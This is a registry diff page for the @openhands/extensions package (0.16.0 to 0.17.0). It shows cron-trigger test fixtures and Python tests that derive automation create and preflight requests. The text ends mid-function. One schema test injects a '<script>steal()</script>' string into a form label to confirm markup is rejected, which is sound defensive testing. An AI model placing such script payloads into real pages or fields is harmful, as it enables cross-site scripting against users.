@openhands/extensions 0.16.0 → 0.17.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.release-please-manifest.json +1 -1
- package/AGENTS.md +1 -0
- package/automations/README.md +75 -9
- package/automations/bundle-index.js +9 -0
- package/automations/catalog/github-pr-reviewer/manifest.json +23 -7
- package/automations/catalog/github-repo-monitor/manifest.json +28 -34
- package/automations/catalog/jira-issue-to-pr/manifest.json +3 -3
- package/automations/catalog.schema.json +102 -1
- package/automations/index.d.ts +48 -0
- package/automations/index.js +14 -0
- package/automations/interface.json +3 -1
- package/automations/interface.schema.json +6 -2
- package/index.d.ts +1 -1
- package/index.js +1 -1
- package/integrations/catalog/posthog.json +41 -3
- package/integrations/catalog/sonarqube.json +78 -0
- package/integrations/catalog-index.js +65 -63
- package/marketplaces/openhands-extensions.json +11 -0
- package/package.json +1 -1
- package/plugins/qa-changes/action.yml +1 -1
- package/pyproject.toml +1 -1
- package/python/openhands_extensions/_version.py +1 -1
- package/scripts/build-automation-catalog.mjs +30 -0
- package/scripts/build-skills-catalog.mjs +24 -7
- package/skills/add-skill/SKILL.md +1 -1
- package/skills/github-pr-reviewer/README.md +12 -6
- package/skills/github-pr-reviewer/SKILL.md +93 -31
- package/skills/github-pr-reviewer/commands/pr-reviewer-setup.md +1 -1
- package/skills/github-pr-reviewer/references/state-schema.md +68 -18
- package/skills/github-pr-reviewer/scripts/main.py +540 -103
- package/skills/github-pr-reviewer/tests/test_main.py +503 -0
- package/skills/index.d.ts +6 -0
- package/skills/index.js +29 -17
- package/skills/jira-issue-to-pr/scripts/main.py +4 -2
- package/skills/openhands-sdk/SKILL.md +2 -0
- package/skills/skill-creator/SKILL.md +1 -1
- package/skills/slack-channel-monitor/scripts/main.py +3 -2
- package/tests/fixtures/automations/capabilities.json +30 -0
- package/tests/fixtures/automations/github-pr-reviewer.json +319 -55
- package/tests/fixtures/automations/github-repo-monitor.json +153 -62
- package/tests/test_automation_setup.py +226 -31
- package/tests/test_catalogs.py +43 -0
- package/tests/test_skills_catalog.py +182 -36
- package/tests/test_slack_channel_monitor.py +1 -1
|
@@ -1,20 +1,20 @@
|
|
|
1
1
|
{
|
|
2
2
|
"automationId": "github-repo-monitor",
|
|
3
|
-
"description": "Direct
|
|
3
|
+
"description": "Direct scheduled setup. Every create request body below is verified against the live CreatePromptAutomationRequest model in OpenHands/automation (openhands/automation/preset_router.py).",
|
|
4
4
|
"capabilities": "supported",
|
|
5
5
|
"blockedBy": [
|
|
6
|
-
"cronOnly",
|
|
7
6
|
"notReady"
|
|
8
7
|
],
|
|
9
8
|
"scenarios": [
|
|
10
9
|
{
|
|
11
10
|
"id": "happy-path",
|
|
12
|
-
"description": "
|
|
11
|
+
"description": "Defaults plus a repository and a base branch. Preflight passes, the automation is created.",
|
|
13
12
|
"formValues": {
|
|
14
13
|
"repository": "OpenHands/agent-server-gui",
|
|
15
14
|
"triggerPhrase": "@openhands",
|
|
16
|
-
"
|
|
17
|
-
"
|
|
15
|
+
"ref": "main",
|
|
16
|
+
"schedule": "*/15 * * * *",
|
|
17
|
+
"timezone": "UTC"
|
|
18
18
|
},
|
|
19
19
|
"preflight": {
|
|
20
20
|
"request": {
|
|
@@ -25,19 +25,18 @@
|
|
|
25
25
|
"endpoint": "/v1/preset/prompt",
|
|
26
26
|
"draft": {
|
|
27
27
|
"name": "GitHub repository monitor - OpenHands/agent-server-gui",
|
|
28
|
-
"prompt": "
|
|
28
|
+
"prompt": "Poll OpenHands/agent-server-gui for any new issue or pull request comments since the last run. For every comment mentioning '@openhands', read the surrounding issue or pull request context and post a helpful reply as a comment on the same thread.",
|
|
29
29
|
"repos": [
|
|
30
30
|
{
|
|
31
31
|
"url": "OpenHands/agent-server-gui",
|
|
32
|
-
"
|
|
33
|
-
"
|
|
32
|
+
"provider": "github",
|
|
33
|
+
"ref": "main"
|
|
34
34
|
}
|
|
35
35
|
],
|
|
36
36
|
"trigger": {
|
|
37
|
-
"type": "
|
|
38
|
-
"
|
|
39
|
-
"
|
|
40
|
-
"filter": "icontains(comment.body, '@openhands') && glob(repository.full_name, 'OpenHands/agent-server-gui')"
|
|
37
|
+
"type": "cron",
|
|
38
|
+
"schedule": "*/15 * * * *",
|
|
39
|
+
"timezone": "UTC"
|
|
41
40
|
}
|
|
42
41
|
}
|
|
43
42
|
}
|
|
@@ -56,19 +55,18 @@
|
|
|
56
55
|
"path": "/v1/preset/prompt",
|
|
57
56
|
"body": {
|
|
58
57
|
"name": "GitHub repository monitor - OpenHands/agent-server-gui",
|
|
59
|
-
"prompt": "
|
|
58
|
+
"prompt": "Poll OpenHands/agent-server-gui for any new issue or pull request comments since the last run. For every comment mentioning '@openhands', read the surrounding issue or pull request context and post a helpful reply as a comment on the same thread.",
|
|
60
59
|
"repos": [
|
|
61
60
|
{
|
|
62
61
|
"url": "OpenHands/agent-server-gui",
|
|
63
|
-
"
|
|
64
|
-
"
|
|
62
|
+
"provider": "github",
|
|
63
|
+
"ref": "main"
|
|
65
64
|
}
|
|
66
65
|
],
|
|
67
66
|
"trigger": {
|
|
68
|
-
"type": "
|
|
69
|
-
"
|
|
70
|
-
"
|
|
71
|
-
"filter": "icontains(comment.body, '@openhands') && glob(repository.full_name, 'OpenHands/agent-server-gui')"
|
|
67
|
+
"type": "cron",
|
|
68
|
+
"schedule": "*/15 * * * *",
|
|
69
|
+
"timezone": "UTC"
|
|
72
70
|
}
|
|
73
71
|
}
|
|
74
72
|
},
|
|
@@ -80,12 +78,11 @@
|
|
|
80
78
|
"org_id": "1a2b3c4d-0000-4000-8000-000000000002",
|
|
81
79
|
"model": null,
|
|
82
80
|
"name": "GitHub repository monitor - OpenHands/agent-server-gui",
|
|
83
|
-
"prompt": "
|
|
81
|
+
"prompt": "Poll OpenHands/agent-server-gui for any new issue or pull request comments since the last run. For every comment mentioning '@openhands', read the surrounding issue or pull request context and post a helpful reply as a comment on the same thread.",
|
|
84
82
|
"trigger": {
|
|
85
|
-
"type": "
|
|
86
|
-
"
|
|
87
|
-
"
|
|
88
|
-
"filter": "icontains(comment.body, '@openhands') && glob(repository.full_name, 'OpenHands/agent-server-gui')"
|
|
83
|
+
"type": "cron",
|
|
84
|
+
"schedule": "*/15 * * * *",
|
|
85
|
+
"timezone": "UTC"
|
|
89
86
|
},
|
|
90
87
|
"tarball_path": "oh-internal://uploads/c41e7b28-9d05-4a6b-8f13-2e5c7a90d146",
|
|
91
88
|
"setup_script_path": "setup.sh",
|
|
@@ -101,36 +98,14 @@
|
|
|
101
98
|
}
|
|
102
99
|
},
|
|
103
100
|
{
|
|
104
|
-
"id": "
|
|
105
|
-
"description": "
|
|
106
|
-
"formValues": {
|
|
107
|
-
"repository": "OpenHands/agent-server-gui",
|
|
108
|
-
"triggerPhrase": "@open'hands",
|
|
109
|
-
"on": "issue_comment.created",
|
|
110
|
-
"ref": "main"
|
|
111
|
-
},
|
|
112
|
-
"localValidation": {
|
|
113
|
-
"valid": false,
|
|
114
|
-
"errors": [
|
|
115
|
-
{
|
|
116
|
-
"field": "triggerPhrase",
|
|
117
|
-
"constraint": "format",
|
|
118
|
-
"message": "Quotes and backslashes are not allowed in the trigger phrase."
|
|
119
|
-
}
|
|
120
|
-
]
|
|
121
|
-
},
|
|
122
|
-
"expectedFieldErrors": {
|
|
123
|
-
"triggerPhrase": "Quotes and backslashes are not allowed in the trigger phrase."
|
|
124
|
-
}
|
|
125
|
-
},
|
|
126
|
-
{
|
|
127
|
-
"id": "event-type-not-delivered-by-deployment",
|
|
128
|
-
"description": "Preflight rejects an event type the deployment does not receive. Nothing is created, so there is no half-broken automation to clean up.",
|
|
101
|
+
"id": "interval-below-deployment-minimum",
|
|
102
|
+
"description": "A one-minute schedule. The create model accepts it, so only the deployment can reject it - this is precisely why preflight exists and why local validation is not authoritative.",
|
|
129
103
|
"formValues": {
|
|
130
104
|
"repository": "OpenHands/agent-server-gui",
|
|
131
105
|
"triggerPhrase": "@openhands",
|
|
132
|
-
"
|
|
133
|
-
"
|
|
106
|
+
"ref": "main",
|
|
107
|
+
"schedule": "*/1 * * * *",
|
|
108
|
+
"timezone": "UTC"
|
|
134
109
|
},
|
|
135
110
|
"preflight": {
|
|
136
111
|
"request": {
|
|
@@ -141,19 +116,18 @@
|
|
|
141
116
|
"endpoint": "/v1/preset/prompt",
|
|
142
117
|
"draft": {
|
|
143
118
|
"name": "GitHub repository monitor - OpenHands/agent-server-gui",
|
|
144
|
-
"prompt": "
|
|
119
|
+
"prompt": "Poll OpenHands/agent-server-gui for any new issue or pull request comments since the last run. For every comment mentioning '@openhands', read the surrounding issue or pull request context and post a helpful reply as a comment on the same thread.",
|
|
145
120
|
"repos": [
|
|
146
121
|
{
|
|
147
122
|
"url": "OpenHands/agent-server-gui",
|
|
148
|
-
"
|
|
149
|
-
"
|
|
123
|
+
"provider": "github",
|
|
124
|
+
"ref": "main"
|
|
150
125
|
}
|
|
151
126
|
],
|
|
152
127
|
"trigger": {
|
|
153
|
-
"type": "
|
|
154
|
-
"
|
|
155
|
-
"
|
|
156
|
-
"filter": "icontains(comment.body, '@openhands') && glob(repository.full_name, 'OpenHands/agent-server-gui')"
|
|
128
|
+
"type": "cron",
|
|
129
|
+
"schedule": "*/1 * * * *",
|
|
130
|
+
"timezone": "UTC"
|
|
157
131
|
}
|
|
158
132
|
}
|
|
159
133
|
}
|
|
@@ -164,16 +138,133 @@
|
|
|
164
138
|
"valid": false,
|
|
165
139
|
"errors": [
|
|
166
140
|
{
|
|
167
|
-
"field": "trigger.
|
|
168
|
-
"code": "
|
|
169
|
-
"message": "
|
|
141
|
+
"field": "trigger.schedule",
|
|
142
|
+
"code": "interval_too_short",
|
|
143
|
+
"message": "Minimum interval for this deployment is 5 minutes."
|
|
170
144
|
}
|
|
171
145
|
]
|
|
172
146
|
}
|
|
173
147
|
}
|
|
174
148
|
},
|
|
175
149
|
"expectedFieldErrors": {
|
|
176
|
-
"
|
|
150
|
+
"schedule": "Minimum interval for this deployment is 5 minutes."
|
|
151
|
+
}
|
|
152
|
+
},
|
|
153
|
+
{
|
|
154
|
+
"id": "unfireable-cron-rejected-at-create",
|
|
155
|
+
"description": "31 February. Syntactically valid, so a local check passes, but the service rejects it. Shows the real 422 body: detail is a list and the loc path carries the trigger discriminator tag.",
|
|
156
|
+
"formValues": {
|
|
157
|
+
"repository": "OpenHands/agent-server-gui",
|
|
158
|
+
"triggerPhrase": "@openhands",
|
|
159
|
+
"ref": "main",
|
|
160
|
+
"schedule": "0 0 31 2 *",
|
|
161
|
+
"timezone": "UTC"
|
|
162
|
+
},
|
|
163
|
+
"create": {
|
|
164
|
+
"request": {
|
|
165
|
+
"method": "POST",
|
|
166
|
+
"path": "/v1/preset/prompt",
|
|
167
|
+
"body": {
|
|
168
|
+
"name": "GitHub repository monitor - OpenHands/agent-server-gui",
|
|
169
|
+
"prompt": "Poll OpenHands/agent-server-gui for any new issue or pull request comments since the last run. For every comment mentioning '@openhands', read the surrounding issue or pull request context and post a helpful reply as a comment on the same thread.",
|
|
170
|
+
"repos": [
|
|
171
|
+
{
|
|
172
|
+
"url": "OpenHands/agent-server-gui",
|
|
173
|
+
"provider": "github",
|
|
174
|
+
"ref": "main"
|
|
175
|
+
}
|
|
176
|
+
],
|
|
177
|
+
"trigger": {
|
|
178
|
+
"type": "cron",
|
|
179
|
+
"schedule": "0 0 31 2 *",
|
|
180
|
+
"timezone": "UTC"
|
|
181
|
+
}
|
|
182
|
+
}
|
|
183
|
+
},
|
|
184
|
+
"response": {
|
|
185
|
+
"status": 422,
|
|
186
|
+
"body": {
|
|
187
|
+
"detail": [
|
|
188
|
+
{
|
|
189
|
+
"type": "value_error",
|
|
190
|
+
"loc": [
|
|
191
|
+
"body",
|
|
192
|
+
"trigger",
|
|
193
|
+
"cron",
|
|
194
|
+
"schedule"
|
|
195
|
+
],
|
|
196
|
+
"msg": "Value error, Cron expression cannot produce any future fire times: 0 0 31 2 *"
|
|
197
|
+
}
|
|
198
|
+
]
|
|
199
|
+
}
|
|
200
|
+
}
|
|
201
|
+
},
|
|
202
|
+
"expectedFieldErrors": {
|
|
203
|
+
"schedule": "Value error, Cron expression cannot produce any future fire times: 0 0 31 2 *"
|
|
204
|
+
}
|
|
205
|
+
},
|
|
206
|
+
{
|
|
207
|
+
"id": "short-repo-url-without-provider-is-rejected",
|
|
208
|
+
"description": "The mapping bug this fixture set exists to prevent. A short owner/repo URL without an explicit provider is a hard 422, because CreatePromptAutomationRequest is extra-forbid and RepoSource requires the provider. The setup block's payload always sets it; this records what happens if that is ever dropped.",
|
|
209
|
+
"formValues": {
|
|
210
|
+
"repository": "OpenHands/agent-server-gui",
|
|
211
|
+
"triggerPhrase": "@openhands",
|
|
212
|
+
"ref": "main",
|
|
213
|
+
"schedule": "*/15 * * * *",
|
|
214
|
+
"timezone": "UTC"
|
|
215
|
+
},
|
|
216
|
+
"create": {
|
|
217
|
+
"request": {
|
|
218
|
+
"method": "POST",
|
|
219
|
+
"path": "/v1/preset/prompt",
|
|
220
|
+
"body": {
|
|
221
|
+
"name": "GitHub repository monitor - OpenHands/agent-server-gui",
|
|
222
|
+
"prompt": "Poll OpenHands/agent-server-gui for any new issue or pull request comments since the last run. For every comment mentioning '@openhands', read the surrounding issue or pull request context and post a helpful reply as a comment on the same thread.",
|
|
223
|
+
"repos": [
|
|
224
|
+
{
|
|
225
|
+
"url": "OpenHands/agent-server-gui"
|
|
226
|
+
}
|
|
227
|
+
],
|
|
228
|
+
"trigger": {
|
|
229
|
+
"type": "cron",
|
|
230
|
+
"schedule": "*/15 * * * *",
|
|
231
|
+
"timezone": "UTC"
|
|
232
|
+
}
|
|
233
|
+
}
|
|
234
|
+
},
|
|
235
|
+
"response": {
|
|
236
|
+
"status": 422,
|
|
237
|
+
"body": {
|
|
238
|
+
"detail": [
|
|
239
|
+
{
|
|
240
|
+
"type": "value_error",
|
|
241
|
+
"loc": [
|
|
242
|
+
"body",
|
|
243
|
+
"repos",
|
|
244
|
+
0
|
|
245
|
+
],
|
|
246
|
+
"msg": "Value error, Short URL format 'OpenHands/agent-server-gui' requires explicit 'provider' field. Use: {\"url\": \"owner/repo\", \"provider\": \"github\"} or provide a full URL like https://github.com/owner/repo"
|
|
247
|
+
}
|
|
248
|
+
]
|
|
249
|
+
}
|
|
250
|
+
}
|
|
251
|
+
},
|
|
252
|
+
"matchesSetupPayload": false
|
|
253
|
+
},
|
|
254
|
+
{
|
|
255
|
+
"id": "fallback-conversation-when-direct-unavailable",
|
|
256
|
+
"description": "A deployment that cannot run the scheduled monitor seeds the setup conversation with this message; the agent confirms the repository, trigger phrase, and polling schedule there.",
|
|
257
|
+
"formValues": {
|
|
258
|
+
"repository": "OpenHands/agent-server-gui",
|
|
259
|
+
"triggerPhrase": "@openhands",
|
|
260
|
+
"ref": "main",
|
|
261
|
+
"schedule": "*/15 * * * *",
|
|
262
|
+
"timezone": "UTC"
|
|
263
|
+
},
|
|
264
|
+
"conversation": {
|
|
265
|
+
"request": {
|
|
266
|
+
"message": "This deployment cannot run the scheduled monitor directly. Set it up in this conversation instead: confirm the repository to watch, the trigger phrase, and the polling schedule, then create the automation."
|
|
267
|
+
}
|
|
177
268
|
}
|
|
178
269
|
}
|
|
179
270
|
]
|
|
@@ -32,15 +32,27 @@ ROOT = Path(__file__).resolve().parents[1]
|
|
|
32
32
|
SCHEMA_PATH = ROOT / "automations" / "catalog.schema.json"
|
|
33
33
|
CATALOG_DIR = ROOT / "automations" / "catalog"
|
|
34
34
|
CATALOG_INDEX = ROOT / "automations" / "catalog-index.js"
|
|
35
|
+
BUNDLE_INDEX = ROOT / "automations" / "bundle-index.js"
|
|
35
36
|
BUILD_SCRIPT = ROOT / "scripts" / "build-automation-catalog.mjs"
|
|
36
37
|
FIXTURE_DIR = ROOT / "tests" / "fixtures" / "automations"
|
|
37
38
|
CAPABILITIES_PATH = FIXTURE_DIR / "capabilities.json"
|
|
38
39
|
|
|
39
40
|
# The standardized parts of a direct setup, identical for every automation and
|
|
40
|
-
# therefore not declared in any entry.
|
|
41
|
+
# therefore not declared in any entry. Which create endpoint is used follows
|
|
42
|
+
# from what the entry produces: a prompt is a preset, a bundle is a tarball the
|
|
43
|
+
# host uploads and then creates from, which is the raw endpoint.
|
|
41
44
|
CREATE_PATH = "/v1/preset/prompt"
|
|
45
|
+
BUNDLE_CREATE_PATH = "/v1"
|
|
46
|
+
BUNDLE_UPLOAD_PATH = "/v1/uploads"
|
|
42
47
|
PREFLIGHT_PATH = "/v1/validate"
|
|
43
48
|
|
|
49
|
+
# Preflight runs while the form is being filled in and the upload happens once,
|
|
50
|
+
# at submit, so a bundle draft has no tarball path to send yet. The service
|
|
51
|
+
# checks that field's scheme at preflight and its ownership only at creation,
|
|
52
|
+
# so a well-formed stand-in validates what preflight is for - the rest of the
|
|
53
|
+
# body - without uploading an archive per keystroke.
|
|
54
|
+
PREFLIGHT_TARBALL_PATH = "oh-internal://uploads/00000000-0000-0000-0000-000000000000"
|
|
55
|
+
|
|
44
56
|
# The trigger properties the service accepts, per kind. A form field named
|
|
45
57
|
# after one of them fills it; the rest are inputs to the declared filter.
|
|
46
58
|
TRIGGER_PROPERTIES = {"cron": ("schedule", "timezone"), "event": ("on",)}
|
|
@@ -83,10 +95,30 @@ def _fixture_bundles():
|
|
|
83
95
|
yield pytest.param(path, id=path.stem)
|
|
84
96
|
|
|
85
97
|
|
|
98
|
+
def _inlined_bundles() -> dict:
|
|
99
|
+
"""The generated bundle index, read as data rather than executed."""
|
|
100
|
+
body = BUNDLE_INDEX.read_text()
|
|
101
|
+
marker = "export const AUTOMATION_BUNDLE_FILES = "
|
|
102
|
+
return json.loads(body[body.index(marker) + len(marker) :].rstrip().rstrip(";"))
|
|
103
|
+
|
|
104
|
+
|
|
86
105
|
def _entry_for(bundle: dict) -> dict:
|
|
87
106
|
return _load(CATALOG_DIR / bundle["automationId"] / "manifest.json")
|
|
88
107
|
|
|
89
108
|
|
|
109
|
+
def _uploaded_path(scenario: dict) -> str:
|
|
110
|
+
"""Where a bundle scenario's tarball landed, as the upload step reported it.
|
|
111
|
+
|
|
112
|
+
A preset scenario has no upload step and never reads this.
|
|
113
|
+
"""
|
|
114
|
+
return (
|
|
115
|
+
scenario.get("upload", {})
|
|
116
|
+
.get("response", {})
|
|
117
|
+
.get("body", {})
|
|
118
|
+
.get("tarball_path", "")
|
|
119
|
+
)
|
|
120
|
+
|
|
121
|
+
|
|
90
122
|
def _integration_catalog_ids() -> set[str]:
|
|
91
123
|
return {path.stem for path in (ROOT / "integrations" / "catalog").glob("*.json")}
|
|
92
124
|
|
|
@@ -132,30 +164,46 @@ def _repo_picker(setup: dict) -> tuple[str | None, dict | None]:
|
|
|
132
164
|
return None, None
|
|
133
165
|
|
|
134
166
|
|
|
135
|
-
def
|
|
136
|
-
"""
|
|
167
|
+
def _is_bundle(entry: dict) -> bool:
|
|
168
|
+
"""Whether this entry ships a script tarball instead of a prompt."""
|
|
169
|
+
return "bundle" in entry.get("setup", {})
|
|
137
170
|
|
|
138
|
-
No entry declares this. `name` comes from the entry, `repos` from the
|
|
139
|
-
repo-picker field and its provider, and `trigger` from the key and fields
|
|
140
|
-
under `form.triggers`. Only `prompt` and an event `filter` are declared,
|
|
141
|
-
because only they cannot be read off the form.
|
|
142
|
-
"""
|
|
143
|
-
setup = entry["setup"]
|
|
144
|
-
context = _context(entry, form_values)
|
|
145
|
-
repo_name, repo_field = _repo_picker(setup)
|
|
146
|
-
repo = form_values.get(repo_name) if repo_name else None
|
|
147
171
|
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
"prompt": _interpolate(setup["prompt"], context),
|
|
151
|
-
}
|
|
172
|
+
def _create_path(entry: dict) -> str:
|
|
173
|
+
return BUNDLE_CREATE_PATH if _is_bundle(entry) else CREATE_PATH
|
|
152
174
|
|
|
153
|
-
if repo:
|
|
154
|
-
source = {"url": repo, "provider": repo_field["provider"]}
|
|
155
|
-
if "ref" in form_values:
|
|
156
|
-
source["ref"] = form_values["ref"]
|
|
157
|
-
body["repos"] = [source]
|
|
158
175
|
|
|
176
|
+
def _repo_values(setup: dict, form_values: dict) -> list[str]:
|
|
177
|
+
"""Every repository the form collected, whether it collects one or many.
|
|
178
|
+
|
|
179
|
+
A `multiple` picker holds a list; a single one holds a string. Reading both
|
|
180
|
+
as a list is what keeps the rest of the derivation from branching.
|
|
181
|
+
"""
|
|
182
|
+
name, field = _repo_picker(setup)
|
|
183
|
+
if not name:
|
|
184
|
+
return []
|
|
185
|
+
value = form_values.get(name)
|
|
186
|
+
if value is None or value == "":
|
|
187
|
+
return []
|
|
188
|
+
if field and field.get("multiple"):
|
|
189
|
+
return list(value)
|
|
190
|
+
return [value]
|
|
191
|
+
|
|
192
|
+
|
|
193
|
+
def _derive_name(entry: dict, form_values: dict) -> str:
|
|
194
|
+
"""The created automation's name. One repository is worth naming; several
|
|
195
|
+
are not, so the count stands in rather than a list that never fits."""
|
|
196
|
+
repos = _repo_values(entry["setup"], form_values)
|
|
197
|
+
if not repos:
|
|
198
|
+
return entry["name"]
|
|
199
|
+
if len(repos) == 1:
|
|
200
|
+
return f"{entry['name']} - {repos[0]}"
|
|
201
|
+
return f"{entry['name']} - {len(repos)} repositories"
|
|
202
|
+
|
|
203
|
+
|
|
204
|
+
def _derive_trigger(entry: dict, form_values: dict) -> dict:
|
|
205
|
+
"""The `trigger` object, read off the key and fields under form.triggers."""
|
|
206
|
+
setup = entry["setup"]
|
|
159
207
|
kind, trigger_fields = next(iter(setup["form"]["triggers"].items()))
|
|
160
208
|
trigger = {"type": kind}
|
|
161
209
|
# A field under a trigger kind fills the trigger property of the same name.
|
|
@@ -164,9 +212,71 @@ def _render_payload(entry: dict, form_values: dict) -> dict:
|
|
|
164
212
|
if name in TRIGGER_PROPERTIES[kind]:
|
|
165
213
|
trigger[name] = form_values[name]
|
|
166
214
|
if kind == "event":
|
|
215
|
+
_, repo_field = _repo_picker(setup)
|
|
167
216
|
trigger["source"] = repo_field["provider"]
|
|
168
|
-
trigger["filter"] = _interpolate(setup["filter"],
|
|
169
|
-
|
|
217
|
+
trigger["filter"] = _interpolate(setup["filter"], _context(entry, form_values))
|
|
218
|
+
return trigger
|
|
219
|
+
|
|
220
|
+
|
|
221
|
+
def _render_bundle_payload(entry: dict, form_values: dict, tarball_path: str) -> dict:
|
|
222
|
+
"""The raw create body a bundle entry produces.
|
|
223
|
+
|
|
224
|
+
`tarball_path` is the one value that is neither declared nor derived: the
|
|
225
|
+
host uploads the packed bundle first and creates from what came back. The
|
|
226
|
+
rest follows the same rule as the preset path - only `config` is declared,
|
|
227
|
+
because only the entry knows which key of its own script each field fills.
|
|
228
|
+
"""
|
|
229
|
+
bundle = entry["setup"]["bundle"]
|
|
230
|
+
body: dict = {
|
|
231
|
+
"name": _derive_name(entry, form_values),
|
|
232
|
+
"trigger": _derive_trigger(entry, form_values),
|
|
233
|
+
"tarball_path": tarball_path,
|
|
234
|
+
"entrypoint": bundle["entrypoint"],
|
|
235
|
+
}
|
|
236
|
+
if "setupScript" in bundle:
|
|
237
|
+
body["setup_script_path"] = bundle["setupScript"]
|
|
238
|
+
if "timeout" in bundle:
|
|
239
|
+
body["timeout"] = bundle["timeout"]
|
|
240
|
+
body["template"] = {
|
|
241
|
+
"id": entry["id"],
|
|
242
|
+
"version": bundle["version"],
|
|
243
|
+
"config": _interpolate(bundle["config"], _context(entry, form_values)),
|
|
244
|
+
}
|
|
245
|
+
return body
|
|
246
|
+
|
|
247
|
+
|
|
248
|
+
def _render_payload(entry: dict, form_values: dict, tarball_path: str = "") -> dict:
|
|
249
|
+
"""The create request body these form values produce.
|
|
250
|
+
|
|
251
|
+
No entry declares this. `name` comes from the entry, `repos` from the
|
|
252
|
+
repo-picker field and its provider, and `trigger` from the key and fields
|
|
253
|
+
under `form.triggers`. Only `prompt` (or, for a bundle, `config`) and an
|
|
254
|
+
event `filter` are declared, because only they cannot be read off the form.
|
|
255
|
+
"""
|
|
256
|
+
if _is_bundle(entry):
|
|
257
|
+
return _render_bundle_payload(entry, form_values, tarball_path)
|
|
258
|
+
|
|
259
|
+
setup = entry["setup"]
|
|
260
|
+
context = _context(entry, form_values)
|
|
261
|
+
_, repo_field = _repo_picker(setup)
|
|
262
|
+
repos = _repo_values(setup, form_values)
|
|
263
|
+
|
|
264
|
+
body: dict = {
|
|
265
|
+
"name": _derive_name(entry, form_values),
|
|
266
|
+
"prompt": _interpolate(setup["prompt"], context),
|
|
267
|
+
}
|
|
268
|
+
|
|
269
|
+
if repos:
|
|
270
|
+
body["repos"] = [
|
|
271
|
+
{
|
|
272
|
+
"url": repo,
|
|
273
|
+
"provider": repo_field["provider"],
|
|
274
|
+
**({"ref": form_values["ref"]} if "ref" in form_values else {}),
|
|
275
|
+
}
|
|
276
|
+
for repo in repos
|
|
277
|
+
]
|
|
278
|
+
|
|
279
|
+
body["trigger"] = _derive_trigger(entry, form_values)
|
|
170
280
|
|
|
171
281
|
return body
|
|
172
282
|
|
|
@@ -176,8 +286,8 @@ def _derive_preflight_body(entry: dict, form_values: dict) -> dict:
|
|
|
176
286
|
so no entry declares it."""
|
|
177
287
|
return {
|
|
178
288
|
"automationId": entry["id"],
|
|
179
|
-
"endpoint":
|
|
180
|
-
"draft": _render_payload(entry, form_values),
|
|
289
|
+
"endpoint": _create_path(entry),
|
|
290
|
+
"draft": _render_payload(entry, form_values, PREFLIGHT_TARBALL_PATH),
|
|
181
291
|
}
|
|
182
292
|
|
|
183
293
|
|
|
@@ -190,7 +300,7 @@ def _derive_error_map(entry: dict) -> dict[str, list[str]]:
|
|
|
190
300
|
an entry does not declare it.
|
|
191
301
|
"""
|
|
192
302
|
mapping: dict[str, list[str]] = {}
|
|
193
|
-
if "prompt" not in entry["setup"]:
|
|
303
|
+
if "prompt" not in entry["setup"] and not _is_bundle(entry):
|
|
194
304
|
return mapping
|
|
195
305
|
|
|
196
306
|
stand_ins = {name: f"{{{{form.{name}}}}}" for name in _field_names(entry["setup"])}
|
|
@@ -279,8 +389,8 @@ def _reported_fields(entry: dict, scenario: dict) -> dict[str, str]:
|
|
|
279
389
|
setup = entry["setup"]
|
|
280
390
|
error_map = _derive_error_map(entry)
|
|
281
391
|
payload = (
|
|
282
|
-
_render_payload(entry, scenario["formValues"])
|
|
283
|
-
if "prompt" in setup and "formValues" in scenario
|
|
392
|
+
_render_payload(entry, scenario["formValues"], _uploaded_path(scenario))
|
|
393
|
+
if ("prompt" in setup or _is_bundle(entry)) and "formValues" in scenario
|
|
284
394
|
else {}
|
|
285
395
|
)
|
|
286
396
|
|
|
@@ -368,7 +478,7 @@ def test_schema_rejects_content_a_setup_block_must_never_carry() -> None:
|
|
|
368
478
|
rejected: list[tuple[str, dict]] = []
|
|
369
479
|
|
|
370
480
|
with_markup = deepcopy(entry)
|
|
371
|
-
with_markup["setup"]["form"]["args"]["
|
|
481
|
+
with_markup["setup"]["form"]["args"]["repositories"]["label"] = (
|
|
372
482
|
"Repository <script>steal()</script>"
|
|
373
483
|
)
|
|
374
484
|
rejected.append(("<script>steal()</script>", with_markup))
|
|
@@ -435,10 +545,10 @@ def test_derived_body_reproduces_the_create_request(
|
|
|
435
545
|
where that reconstruction is pinned to a body the service accepts."""
|
|
436
546
|
entry = _entry_for(bundle)
|
|
437
547
|
|
|
438
|
-
derived = _render_payload(entry, scenario["formValues"])
|
|
548
|
+
derived = _render_payload(entry, scenario["formValues"], _uploaded_path(scenario))
|
|
439
549
|
|
|
440
550
|
assert derived == scenario["create"]["request"]["body"]
|
|
441
|
-
assert scenario["create"]["request"]["path"] ==
|
|
551
|
+
assert scenario["create"]["request"]["path"] == _create_path(entry)
|
|
442
552
|
|
|
443
553
|
|
|
444
554
|
@pytest.mark.parametrize(("bundle", "scenario"), list(_scenarios("preflight")))
|
|
@@ -506,12 +616,97 @@ def test_blocked_by_lists_exactly_the_unsatisfiable_deployments(
|
|
|
506
616
|
def test_generated_catalog_index_is_up_to_date() -> None:
|
|
507
617
|
"""Re-running the codegen script should produce identical output."""
|
|
508
618
|
before = CATALOG_INDEX.read_text()
|
|
619
|
+
bundles_before = BUNDLE_INDEX.read_text()
|
|
509
620
|
subprocess.run(
|
|
510
621
|
["node", str(BUILD_SCRIPT)], cwd=str(ROOT), check=True, capture_output=True
|
|
511
622
|
)
|
|
512
623
|
assert CATALOG_INDEX.read_text() == before, (
|
|
513
624
|
"automations/catalog-index.js is out of date - run: npm run build:automations"
|
|
514
625
|
)
|
|
626
|
+
assert BUNDLE_INDEX.read_text() == bundles_before, (
|
|
627
|
+
"automations/bundle-index.js is out of date - run: npm run build:automations"
|
|
628
|
+
)
|
|
629
|
+
|
|
630
|
+
|
|
631
|
+
@pytest.mark.parametrize("entry_path", list(_setup_paths()))
|
|
632
|
+
def test_bundle_files_exist_and_are_inlined(entry_path: Path) -> None:
|
|
633
|
+
"""A bundle names repository paths; the package ships their contents.
|
|
634
|
+
|
|
635
|
+
The host packing the tarball has the published package but not this
|
|
636
|
+
repository, so a path that resolves here and nowhere else would produce an
|
|
637
|
+
entry that installs in CI and fails for every user.
|
|
638
|
+
"""
|
|
639
|
+
entry = _load(entry_path)
|
|
640
|
+
if not _is_bundle(entry):
|
|
641
|
+
pytest.skip("not a bundle entry")
|
|
642
|
+
|
|
643
|
+
bundle = entry["setup"]["bundle"]
|
|
644
|
+
inlined = _inlined_bundles()
|
|
645
|
+
|
|
646
|
+
assert set(inlined) >= {entry["id"]}
|
|
647
|
+
for packed_path, source in bundle["files"].items():
|
|
648
|
+
